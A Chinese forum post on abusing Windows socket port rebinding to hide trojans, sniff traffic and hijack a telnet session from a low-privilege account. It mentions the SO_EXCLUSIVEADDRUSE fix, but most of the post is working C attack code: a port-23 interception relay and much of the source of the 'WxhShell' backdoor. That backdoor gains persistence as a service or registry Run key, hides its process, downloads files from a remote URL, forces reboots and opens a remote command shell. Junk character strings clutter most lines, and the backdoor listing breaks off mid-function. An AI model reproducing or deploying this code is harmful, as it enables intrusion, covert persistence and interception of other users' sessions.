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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pS vqGJU3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3{wmKo|_X  
XsVp7zk\  
  saddr.sin_family = AF_INET; y)B>g/Hoh  
-t:~d:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GV1SKa  
eiJ 13`T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6/Pw'4H9$  
hrRkam !y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ob"48{w$  
t69C48}15  
  这意味着什么?意味着可以进行如下的攻击: G{ 9p.Q  
|H LU5=Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xKl!{A9$w  
YF]W<ZpY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k_^| %xJ  
7vRFF@eq}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t3dvHU&Z:  
ve [*t`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GRt1]%l#$  
<]jKpJ{3N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #@*;Y(9Ol  
 9z9EK'g  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w[bhm$SX]B  
^HYrJr$y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P}AfXgr  
HX(Z(rcI  
  #include ,'KQFC   
  #include <u 'q._m  
  #include _h=kjc}[.O  
  #include    U49#?^?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   am$-1+iX  
  int main() Vl0 J!JK_  
  { =%}++7#  
  WORD wVersionRequested;  m,,FNYW  
  DWORD ret; YhVV~bvz*  
  WSADATA wsaData; VOj{&O2c  
  BOOL val; ]%RX\~Q.4  
  SOCKADDR_IN saddr; K|n$-WDG}  
  SOCKADDR_IN scaddr; Xlw8> .\  
  int err; 6WN1D W  
  SOCKET s; nMniHB'  
  SOCKET sc; ubpVrvu@  
  int caddsize; <K$X>&Ts  
  HANDLE mt; u;[*Z  
  DWORD tid;   5L'bF2SI  
  wVersionRequested = MAKEWORD( 2, 2 ); mr`Lxy9e  
  err = WSAStartup( wVersionRequested, &wsaData ); "`aNNIG&  
  if ( err != 0 ) { Guc~] B  
  printf("error!WSAStartup failed!\n"); 3( Y#*f|  
  return -1; 80p?qe  
  } C1/<t)^  
  saddr.sin_family = AF_INET; y}'c)u  
   A 11w{`EM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &s +DK `  
<rO0t9OH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {iyO96YI[^  
  saddr.sin_port = htons(23); M=mzl750M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C Rd1zDB  
  { BRTM]tRZ  
  printf("error!socket failed!\n"); F)W7,^=X>-  
  return -1; *$t<H-U-  
  } N^G:m~>  
  val = TRUE; @+9x8*~S'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yEaim~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E!~Ok  
  { Slk__eC  
  printf("error!setsockopt failed!\n");  KKfC^g  
  return -1; +x7b9sHJ  
  } -R~!N#y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `30og]F0YJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Yt 9{:+[RK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @+gr>a1K#  
RS$!TTeQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [@l:C\2  
  { jkPye{j  
  ret=GetLastError(); muAI$IRR   
  printf("error!bind failed!\n"); 'w'P rM,:  
  return -1; (5^bU<  
  } 6vx0F?>_  
  listen(s,2); +YL9gNN>P  
  while(1) ZQZBap"  
  { Po%+:0oX  
  caddsize = sizeof(scaddr); NA%(ZRSg(  
  //接受连接请求 x >u \  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c k$ > yk  
  if(sc!=INVALID_SOCKET) aR iD}P*V  
  { B=>:w%<Ii  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #B;~i6h]  
  if(mt==NULL) qoNVp7uv  
  { zL1*w@6  
  printf("Thread Creat Failed!\n"); "kLu]M<  
  break; '|zkRdB*Lq  
  } 's.cwB: #  
  } Ur`jmB  
  CloseHandle(mt); yFIB/ln:  
  } O4Wn+$AN  
  closesocket(s); sHk,#EsKH  
  WSACleanup(); 'nK(cKDIG  
  return 0; WBo|0(#  
  }   )FNvtLZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) '7+e!>"  
  { y>:-6)pv  
  SOCKET ss = (SOCKET)lpParam; j89C~xP6  
  SOCKET sc; F"3LG"  
  unsigned char buf[4096]; J 8/]&Ow  
  SOCKADDR_IN saddr; $ BEIG@qG  
  long num; e{ce \  
  DWORD val; &\3k(j  
  DWORD ret; Dr;-2$Kt/&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U"1z"PcV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .{cka]9WJz  
  saddr.sin_family = AF_INET; $VWeo#b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H5L~[\ 5t  
  saddr.sin_port = htons(23); j}0W|*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q7 dXTS4H  
  { [k"@n+%  
  printf("error!socket failed!\n"); -~nU&$ccL  
  return -1; Hs%;uyI@$  
  } jTo-xP{lC  
  val = 100; {uurM` f}:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P1<Y7 +n  
  { DNARe!pK  
  ret = GetLastError(); Kt(Z&@  
  return -1; ?s4-2g  
  } [ n[!RddY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QB<9Be@e  
  { 3GH@|id  
  ret = GetLastError(); 3?Ml]=u  
  return -1; we6kV-L.  
  } E%R^ kqqr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8Ol#-2>k$  
  { Pj4WWKX  
  printf("error!socket connect failed!\n"); -&PiD  
  closesocket(sc); ;#3l&HRKH1  
  closesocket(ss); h0YIPB  
  return -1; o"O=Epg  
  } c:  /Wk  
  while(1) `$IuN *  
  { 6g/ <FM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2>l =oXq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~$#"'Tl4J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J3oEN'8S  
  num = recv(ss,buf,4096,0); ub C(%Y_k  
  if(num>0) <,U=w[cH  
  send(sc,buf,num,0); 9y BENvq  
  else if(num==0) /~w!7n<7  
  break; fS08q9,S/  
  num = recv(sc,buf,4096,0); '8.r   
  if(num>0)  xc%\%8C}  
  send(ss,buf,num,0); I3;{II  
  else if(num==0) EXlmIY4  
  break; X!}  t``  
  } w"s;R8  
  closesocket(ss); Y{6vW-z_<  
  closesocket(sc); _l?InNv  
  return 0 ; (!-gX" <b  
  } -WDU~VSU  
]7 qn&(]  
Uu~7+oaQ  
========================================================== <h(KI Y9T  
tx$kD2  
下边附上一个代码,,WXhSHELL P8tpbdZE-  
l+6y$2QR  
========================================================== %9,:  
o,| LO$~  
#include "stdafx.h" <qG4[W,[  
08J[9a0[  
#include <stdio.h> #) eI]  
#include <string.h> 8]@)0q {r  
#include <windows.h> k lLhi<*  
#include <winsock2.h> ` ZO#n  
#include <winsvc.h> (w31W[V'#  
#include <urlmon.h> Gp0H[-oF  
bRSE"B  
#pragma comment (lib, "Ws2_32.lib") <eU1E }BDQ  
#pragma comment (lib, "urlmon.lib") \Tf$i(0q  
t' )47k\  
#define MAX_USER   100 // 最大客户端连接数 9FB[`}  
#define BUF_SOCK   200 // sock buffer  yN9k-IPI  
#define KEY_BUFF   255 // 输入 buffer iV h^;  
"m*.kB)e7  
#define REBOOT     0   // 重启 ?hpT"N,hF9  
#define SHUTDOWN   1   // 关机 \#LkzN8  
yc4?'k!  
#define DEF_PORT   5000 // 监听端口 -__RFxG  
2TH13k$  
#define REG_LEN     16   // 注册表键长度 >FO4]  
#define SVC_LEN     80   // NT服务名长度 ==zt)s.G(+  
=o N(1k^  
// 从dll定义API 3j'A.S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,EkzBVgo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _a;E>   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S6k R o^2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]_Cm 5Z7  
3AKT>Wy =  
// wxhshell配置信息 'r&az BO  
struct WSCFG { gN2$;hb?  
  int ws_port;         // 监听端口 @J`o pR  
  char ws_passstr[REG_LEN]; // 口令 &h(>jY7b;  
  int ws_autoins;       // 安装标记, 1=yes 0=no do {E39  
  char ws_regname[REG_LEN]; // 注册表键名 #nK38W#  
  char ws_svcname[REG_LEN]; // 服务名 F.zx]][JV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _|f1q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qOA+ao  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K U 2LJ_~Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s}2TJa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D{-h2=V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RMinZ}/  
s)Gnj;  
}; IM.sW'E  
nkI+"$Rz0  
// default Wxhshell configuration p`/"e<TP  
struct WSCFG wscfg={DEF_PORT, !n;0%"(FH  
    "xuhuanlingzhe", t)#8r,9c  
    1, Gv ';  
    "Wxhshell", [I*)H7pt}  
    "Wxhshell", w %4SNR  
            "WxhShell Service", gMN>`Z`fV  
    "Wrsky Windows CmdShell Service", Rm@#GP`  
    "Please Input Your Password: ", 26SXuFJ@  
  1, $w,?%i97  
  "http://www.wrsky.com/wxhshell.exe", 4Zz%vY  
  "Wxhshell.exe" C`G+b{o  
    }; gN,O)@N'd3  
&cZQ,o  
// 消息定义模块 #?x!:i$-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ck:RlF[6C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2TFb!?/RQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #&V7CYJ  
char *msg_ws_ext="\n\rExit."; '}4z=f`}  
char *msg_ws_end="\n\rQuit."; mS\ gh)<h  
char *msg_ws_boot="\n\rReboot..."; LtIR)EtB]  
char *msg_ws_poff="\n\rShutdown..."; D4@).%  
char *msg_ws_down="\n\rSave to "; r6.`9  
CbvP1*1  
char *msg_ws_err="\n\rErr!"; [Lck55V+Q  
char *msg_ws_ok="\n\rOK!"; xq6 eu 9   
&a;{ed1B  
char ExeFile[MAX_PATH]; !,Ou:E?Bb  
int nUser = 0; ~]sj.>P  
HANDLE handles[MAX_USER]; nt 9LBea  
int OsIsNt; )b%t4~7  
Lud[.>i  
SERVICE_STATUS       serviceStatus; KT5amct  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _xKIp>A  
OD@k9I[  
// 函数声明 U46qpb 7  
int Install(void); 2 m"2>gX  
int Uninstall(void); jHPkfwfAF  
int DownloadFile(char *sURL, SOCKET wsh); *B4?(&0  
int Boot(int flag); a+HGlj 2>  
void HideProc(void); [Rj_p&'  
int GetOsVer(void); 'CQ~ZV5  
int Wxhshell(SOCKET wsl); iXoEdt)  
void TalkWithClient(void *cs); {GH0> 1&  
int CmdShell(SOCKET sock); 1K* `i(  
int StartFromService(void);  :EGvI  
int StartWxhshell(LPSTR lpCmdLine); d}RU-uiW  
O]-)?y/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #EG W76 f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dd+hX$,  
~U;M1>  
// 数据结构和表定义 YkN0,6  
SERVICE_TABLE_ENTRY DispatchTable[] = <?2g\+{s9  
{ CXQ+h  
{wscfg.ws_svcname, NTServiceMain}, 5dvP~sw  
{NULL, NULL} >(?}'pS8  
}; !W\za0p  
V=i/cI\  
// 自我安装 D`Cy]j  
int Install(void) w"Q/ 6#!K  
{ 1"\^@qRv#  
  char svExeFile[MAX_PATH]; 9QXBz=Fnf  
  HKEY key; +YJpVxYmZ  
  strcpy(svExeFile,ExeFile); T'ko =k  
BvnNAi  
// 如果是win9x系统,修改注册表设为自启动 <)68ol~<  
if(!OsIsNt) { ym_w09   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Ut4INV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )%+7"7.  
  RegCloseKey(key); /f*QxNZ,p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }'KHF0   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vE~>9  
  RegCloseKey(key); #+"1">l  
  return 0; |F}6Zv  
    } o?{-K-'B$  
  } .5^7Jwh  
} i5*BZv>e  
else { B>;`$-  
yI{4h $c  
// 如果是NT以上系统,安装为系统服务 `o4%UkBpM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ykS-5E`  
if (schSCManager!=0) DqJzsk'd3  
{ "C]v   
  SC_HANDLE schService = CreateService qo*%S  
  ( B*@0l:  
  schSCManager, S4Q fx6:~h  
  wscfg.ws_svcname, e"d-$$'e  
  wscfg.ws_svcdisp, NiSybyR$  
  SERVICE_ALL_ACCESS, -=InGm\Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 20,}T)}Tm  
  SERVICE_AUTO_START, \H4$9lPk  
  SERVICE_ERROR_NORMAL, cU|tG!Ij?  
  svExeFile, 1CR)1H  
  NULL, !hugn6  
  NULL, f-BPT2U+  
  NULL, O}-+o1  
  NULL, shZEE2Dr  
  NULL $=9g,39  
  ); \S_o{0ZY}  
  if (schService!=0) oazY?E]}3  
  { oWLv-{08  
  CloseServiceHandle(schService); ^Q#g-"b  
  CloseServiceHandle(schSCManager); MqAN~<l [  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 01 <Ti"  
  strcat(svExeFile,wscfg.ws_svcname); 0sP*ChY5S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N|2PW ~,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); adn2&7H  
  RegCloseKey(key); D &Bdl5g  
  return 0; zHX7%x,Cq  
    } ;S?ei>Q  
  } 1>=]lMW  
  CloseServiceHandle(schSCManager); mVd%sWD  
} X/f?=U  
} 8b:GyC5L  
M\A6;dz'  
return 1; `]I p`_{  
} _[pbf ua  
Ew )1O9f  
// 自我卸载 sh/4ui{  
int Uninstall(void) !BjJ5m  
{ v ;nnr0;  
  HKEY key; U?xa^QVhj  
=/ +f3  
if(!OsIsNt) { n[gc`#7|{e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ez+8B|0P  
  RegDeleteValue(key,wscfg.ws_regname); NydF'N_1  
  RegCloseKey(key); yIu_DFq%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a_ \t(U  
  RegDeleteValue(key,wscfg.ws_regname); Y#zHw< <E  
  RegCloseKey(key); RZ0+Uu/J  
  return 0; YS bS.tq  
  } Q%QIr  
} c=f;3N  
} ^@ Xzh:  
else { `PtfPt<{  
Xd@ d$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v[4-?7-  
if (schSCManager!=0) G.~Ffk  
{ ?/fC"MJq?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,R}9n@JI^Y  
  if (schService!=0) 97pfMk1_  
  { QT4&Ix,4T1  
  if(DeleteService(schService)!=0) { Oh3A?!y#  
  CloseServiceHandle(schService); x3l~kZ(  
  CloseServiceHandle(schSCManager); !>?*gc.<  
  return 0; ";Q}Gs}  
  } 4vi [hiV   
  CloseServiceHandle(schService); !}hG|Y6s  
  } ' 7H"ezt  
  CloseServiceHandle(schSCManager); 0"l`M5-KP  
} +' SG$<Xv  
} &<EixDi4q  
&&7&/   
return 1; 07G'"=  
} ?h:xO\h8  
|~B`[p]5H  
// 从指定url下载文件 hz+c]K  
int DownloadFile(char *sURL, SOCKET wsh) Z=be ki]  
{ =J`M}BBx  
  HRESULT hr; D$Ao-6QE W  
char seps[]= "/"; bR<XQHl  
char *token; 1Q7]1fRu  
char *file; 0*,] `A=  
char myURL[MAX_PATH]; d^Rea8  
char myFILE[MAX_PATH]; m[nrr6 G"  
o|APsQE  
strcpy(myURL,sURL); ;)Sf|  
  token=strtok(myURL,seps); |`'WEe2  
  while(token!=NULL) K(AZD&D  
  { #'97mg  
    file=token; H`4KhdqR  
  token=strtok(NULL,seps); riQ0'-p  
  } {$I1(DYN  
L=gG23U&  
GetCurrentDirectory(MAX_PATH,myFILE); qS?^(Vt|R  
strcat(myFILE, "\\"); ! u9LZ  
strcat(myFILE, file); ;( (|0Xa  
  send(wsh,myFILE,strlen(myFILE),0); \s6 VOR/  
send(wsh,"...",3,0); *-&+;|mM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~!P&LZ  
  if(hr==S_OK) F{E`MK~f_  
return 0; j9R+;u/!  
else 24k;.o  
return 1; deOk>v&U  
3F$N@K~s  
} \F14]`i  
-d[Gy- J  
// 系统电源模块 13A~."b  
int Boot(int flag) jd.w7.8  
{ X2`n&JE  
  HANDLE hToken; x b!&'cw  
  TOKEN_PRIVILEGES tkp; s=Xg6D  
Ap> H-/C  
  if(OsIsNt) { 8{)N%r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s8;*Wt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A$rCo~Ek  
    tkp.PrivilegeCount = 1; juQ?k xOB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;pqS|ayl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v?l*jr1-2  
if(flag==REBOOT) { GQYB2{e>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1-.(pA'  
  return 0; }?*$AVs2q  
} 'VV"$`Fu"  
else { <CWOx&hr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tlgg~MViS  
  return 0; ^*F'[!. p  
} zqLOwzMlLx  
  } {[bB$~7Eu  
  else { v7<r- <I[  
if(flag==REBOOT) { p3qKtMs0!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g6@^n$Y  
  return 0; *t`=1Ioj  
} k/i&e~! \  
else { xu@+b~C\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vBV_aB1{  
  return 0; Ah;`0Hz;  
} X.AE>fx*h  
} hLaQ[9  
F#z1 sl'  
return 1; 0U! _o2]  
} TVK*l*  
T3t w.yh  
// win9x进程隐藏模块 QG5 c>Q  
void HideProc(void) ,7;euV5X  
{ Wf =hFc1_@  
9 u>X,2gUR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jSw>z`'#H  
  if ( hKernel != NULL ) <1<0odB  
  { M&KJZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /}S1e P6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EQX?Zs?C  
    FreeLibrary(hKernel); q& esI  
  } a``Q}.ST  
VqS1n  
return; VP^{-mDph  
} o97*3W]  
&H%z1Lp  
// 获取操作系统版本 {w ]L'0ES[  
int GetOsVer(void) J"fv5{  
{ A",R2d  
  OSVERSIONINFO winfo; Wqe0m_7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); " t,ZO  
  GetVersionEx(&winfo); ,D'bIk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fz%e?@>q  
  return 1; 9 xFX"_J  
  else '\P+Bu]6&  
  return 0; [6%y RQ_  
} ?+L7Bd(EF%  
Mlo:\ST|  
// 客户端句柄模块 )Mh5q&ow  
int Wxhshell(SOCKET wsl) {"_V,HmEF+  
{ ]:Pkh./  
  SOCKET wsh; 1n#{c5T  
  struct sockaddr_in client; )H{OqZZYD  
  DWORD myID; ;pG5zRe  
*s?C\)x  
  while(nUser<MAX_USER) yS4nB04`=  
{ `m\ ?gsw7  
  int nSize=sizeof(client); %V92q0XW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x) R4_ 3  
  if(wsh==INVALID_SOCKET) return 1; )jMk ~;'r  
Zig3WiD&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +XAM2uN5_.  
if(handles[nUser]==0) 9L>ep&u)^  
  closesocket(wsh); uExYgI`<%&  
else [pz1f!Wn  
  nUser++; v"dl6%D"  
  } jsq|K=x,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lN7YU-ygz  
}sM_^&e4X  
  return 0; ]T%wRd5&-  
} /brHB @$  
'Ecd\p  
// 关闭 socket &7KX`%K"D  
void CloseIt(SOCKET wsh) ~uuM0POo  
{ j#9n.i %h  
closesocket(wsh); z=TuUl@  
nUser--; v&xhS yZ  
ExitThread(0); Se [>z(  
} k!!d2y6  
]C>h_,EZc  
// 客户端请求句柄 %Z yt;p2  
void TalkWithClient(void *cs) jtPHk*>^wu  
{ q^b12@.  
;MW=F9U*  
  SOCKET wsh=(SOCKET)cs; DK<}q1xi  
  char pwd[SVC_LEN]; sd |c/ayh~  
  char cmd[KEY_BUFF]; Q'rX]kk_  
char chr[1]; W1[C/dDc  
int i,j; sX(rJLbD  
*!,k`=.([#  
  while (nUser < MAX_USER) { @XH@i+ {B  
A{gniYqvB`  
if(wscfg.ws_passstr) { ,DCrhk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Olr'n% }  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KXcE@q9  
  //ZeroMemory(pwd,KEY_BUFF); !{XVaQ?x  
      i=0; Cil1wFBb  
  while(i<SVC_LEN) { F#|mN0op  
Pa/2])w  
  // 设置超时 Zrq\:KxX  
  fd_set FdRead; nDXy$f8  
  struct timeval TimeOut; Suk;##I  
  FD_ZERO(&FdRead); |q 0iX2W  
  FD_SET(wsh,&FdRead); a'7RzN ,]  
  TimeOut.tv_sec=8; rM20Y(|  
  TimeOut.tv_usec=0; }5y ]kn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =l%|W[OO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); / 16 r_l  
cFoeyI#v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bJL,pe+u  
  pwd=chr[0]; /%P,y+<}iG  
  if(chr[0]==0xd || chr[0]==0xa) { \m+;^_;5GW  
  pwd=0; "=UhTE  
  break; p:Zhg{sF  
  } u7 {R; QKw  
  i++; "SV/'0  
    } jo"zd b  
nc:K!7:  
  // 如果是非法用户,关闭 socket #|6M*;lN|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J_&G\b.9/  
} {Yv5Z.L&(  
cN| gaL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =2d h}8Mz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }1YQ?:@  
'l._00yu  
while(1) { nb(Od,L  
y&2O)z!B  
  ZeroMemory(cmd,KEY_BUFF); ]Waa7)}DM  
hJ(S]1B~G  
      // 自动支持客户端 telnet标准   M1XzA `*  
  j=0; +  $/mh  
  while(j<KEY_BUFF) { eX o@3/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ksQw|>K  
  cmd[j]=chr[0]; S oB6F9  
  if(chr[0]==0xa || chr[0]==0xd) { 34qfP{9!N  
  cmd[j]=0; x-SYfvYY  
  break; Xl/2-'4  
  } 19i [DR  
  j++; %F]:nk`  
    } g #[,4o;  
`^ uX`M/  
  // 下载文件 h5@JS1cY  
  if(strstr(cmd,"http://")) { qa5 T(:8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u=sZFr@m[  
  if(DownloadFile(cmd,wsh)) 6"La`}B(T8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =T|m#*{.L  
  else vtXZ`[D,l)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q}]RB$ZS  
  } 0[fqF^HEN  
  else { ^vo]bq7  
$e,'<Jl  
    switch(cmd[0]) { $%5!CD1)  
  4"Pf0PD:  
  // 帮助 # |,c3$  
  case '?': { NV9H"fI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  ),f d,  
    break; <O]B'Wc [  
  } =kn-F T  
  // 安装 r#WAS2.TP  
  case 'i': { q#.+P1"U  
    if(Install()) P6;Cohfh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p}h9>R  
    else {_]<mwd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YMn_9s7<  
    break; ;r3|EA35  
    } \_3#%%z  
  // 卸载 A]OVmw  
  case 'r': { xu* dPG)v  
    if(Uninstall()) "$|ne[b2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r r(UE  
    else Bc51 0I$c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hB-<GGcO <  
    break; 9d&}CZr  
    } j'|`:^ Sy  
  // 显示 wxhshell 所在路径 `Qo}4nuRs  
  case 'p': { 4AuJ1Z  
    char svExeFile[MAX_PATH]; <k-hRs2d  
    strcpy(svExeFile,"\n\r"); $|}PL[aA#  
      strcat(svExeFile,ExeFile); }B2qtb3  
        send(wsh,svExeFile,strlen(svExeFile),0); @8V~&yqq  
    break; gR8vF  
    } L@8C t  
  // 重启  WfkP  
  case 'b': { #[NNb?`F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JiCy77H  
    if(Boot(REBOOT)) `i3fC&?C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d]QCk &XU  
    else { w"BMJ+  
    closesocket(wsh); @3I/57u<  
    ExitThread(0); \k*h& :$  
    } lcEin*Oc  
    break; Y,s@FGI2  
    } O_y?53X  
